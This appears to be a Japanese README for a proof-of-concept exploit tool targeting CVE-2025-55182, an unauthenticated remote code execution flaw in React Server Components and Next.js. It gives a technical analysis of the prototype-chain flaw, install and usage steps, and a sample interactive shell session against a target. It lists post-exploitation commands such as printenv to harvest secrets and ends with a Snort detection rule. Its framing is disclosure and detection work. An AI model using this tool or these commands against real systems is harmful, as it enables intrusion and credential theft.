
CVE-2025-55182の概念実証エクスプロイト。React Server Componentsにおける重大な未認証RCE。自動化されたPythonエクスプロイト、技術分析、検出ルール、および許可されたセキュリティテストのためのラボ環境セットアップを含みます。
CVE-2025-55182の包括的な概念実証エクスプロイトおよび教育リソースです。CVSSスコア10.0のクリティカルなリモートコード実行脆弱性で、React Server Componentsに影響します。
教育および許可されたテスト目的のみ
このツールは教育目的および許可されたセキュリティテストのために提供されています。許可されていないコンピュータシステムへのアクセスは、米国のComputer Fraud and Abuse Act(CFAA)や世界各国の同様の法律を含む様々な法律で違法とされています。
あなたは以下を遵守する必要があります:
作者および貢献者:
このツールを使用することで、これらの条件を理解し同意したものとみなされます。
React2Shellは、2025年12月に発見された重大な脆弱性で、React Server Components(RSC)およびそれらを実装するフレームワーク(特にNext.js)に影響します。この脆弱性により、単一の細工されたHTTPリクエストを通じて認証不要のリモートコード実行が可能になります。
このリポジトリには以下が含まれています:
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSSスコア | 10.0 (Critical) |
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | なし |
| ユーザー操作 | 不要 |
| 影響 | システム全体の侵害(RCE) |
| 公開日 | 2025年12月 |
create-next-appで作成された標準的なNext.jsアプリが悪用可能脆弱なバージョン:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0パッチ適用済みバージョン:
脆弱なバージョン:
パッチ適用済みバージョン:
脆弱性は、React Server Componentsの逆シリアル化ロジック内のrequireModule関数に存在します:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // 脆弱な行 - プロトタイプチェーンのトラバーサル
}
この欠陥により、攻撃者はReact Flightプロトコルを通じてJavaScriptのプロトタイプチェーンをたどり、constructor.constructorのようなプロパティを介してFunctionコンストラクタにアクセスし、任意のコード実行が可能になります。
__proto__を悪用して自己参照構造を作成constructor.constructorをチェーンしてFunction()にアクセスchild_process.execSync()を介して任意のJavaScriptを注入┌─────────────────────────────────────────────────────────────┐
│ 攻撃者がNext-Actionヘッダーを含むmultipart/form-dataを送信 │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ サーバーがReact Flightプロトコルを介してペイロードを逆シリアル化 │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ __proto__汚染を含む偽のチャンクオブジェクトが処理される │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blobハンドラが_formData.get(_prefix + id)を呼び出す │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Function("malicious_code")に解決される │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Node.jsプロセス権限で任意のコードが実行される │
└─────────────────────────────────────────────────────────────┘
requestsライブラリ# リポジトリのクローン
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# 依存関係のインストール
pip install -r requirements.txt
# スクリプトを実行可能にする(Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] ターゲット情報を入力:
Host (例: localhost または 192.168.1.100): localhost
Port (例: 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ コマンド出力 ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# システム偵察
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# ファイルシステム探索
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# 環境変数(しばしば秘密情報を含む)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# ネットワーク情報
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| コマンド | 説明 |
|---|---|
<任意のシェルコマンド> | ターゲット上でコマンドを実行 |
help | ヘルプメッセージを表示 |
exit / quit / q | ツールを終了 |
このSnortルールを展開してエクスプロイト試行を検出します:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
検出ロジック:
Next-Actionヘッダー(RSC固有)を監視multipart/form-dataペイロードを検出name="0"、status: "resolved_model"、then: "$1:__proto__:then"